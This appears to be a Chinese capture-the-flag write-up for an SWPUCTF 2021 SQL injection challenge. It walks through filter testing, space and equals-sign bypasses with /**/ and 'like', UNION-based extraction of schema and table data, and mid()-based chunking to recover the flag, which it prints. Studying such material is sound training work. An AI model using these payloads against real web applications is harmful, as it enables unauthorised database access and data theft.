@[toc]SQL注入
概要[SWPUCTF 2021 新生赛]sql
提示:
(1)# 和 --+表示注释,在url中,get请求解释执行时,#号是指导浏览器动作,对服务器端无效,HTTP请求中将不包括#,故使用#闭合无法注释,会报错;此外,使用-- (有个空格)注释时,在传输过程中空格会被忽略,造成无法注释,因此,在get请求传参注入时使用--+的方式来闭合,因为+会被解释成空格。
(2)可以使用--%20,把空格转换为urlencode编码格式,把#变成%23,不报错
(3)post请求,则可以直接使用#来进行闭合
题目
查看源码发现参数为wllm
解题思路
测试
?wllm=1 -- 正常
?wllm=1' -- 报错
?wllm=1'--+ -- 请勿非法操作!
?wllm=1'# -- 请勿非法操作!
存在过滤
?wllm=1'%23 --正常
?wllm=1'and 1%23 -- 请勿非法操作!
?wllm=1'and/**/1%23 -- 请勿非法操作!
?wllm=1'or 1%23 -- 请勿非法操作!
?wllm=1'or/**/1%23 -- 正常
?wllm=1'or/**/1=1%23 -- 请勿非法操作!
判断 (空格)、and和=(等号)被过滤了
提示:
绕过空格(注释符/**/)
绕过=(like)
解题过程
判断字段
?wllm=1'order/**/by/**/3%23 -- 正常
?wllm=1'order/**/by/**/4%23 -- 错误
字段长度为3
查看回显点
?wllm=-1'union/**/select/**/1,2,3%23
查寻库名
?wllm=-1'union/**/select/**/1,2,database()%23
查询表名
?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/informa
tion_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23
查询字段名
?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/inform
ation_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23
查询flag表里面内容
?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_flag%23
因为可显示长度位数不足导致未完全显示,故可使用使用截断函数substr,right,REVERSE,mid绕过
经测试substr,right,REVERSE 被过滤,只能用mid
mid截取,因为回显只能有20个,所以20,一组截取
第一组
?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),1,20)/**/from/**/tes
t_db.LTLT_flag%23
NSSCTF{a3524c07-b7aa
第二组
?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),21,20)/**/from/**/tes
t_db.LTLT_flag%23
-4684-a421-14ae1244
第三组
?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),41,20)/**/from/**/tes
t_db.LTLT_flag%23
1191}
最后拼接flag
NSSCTF{a3524c07-b7aa-4684-a421-14ae12441191}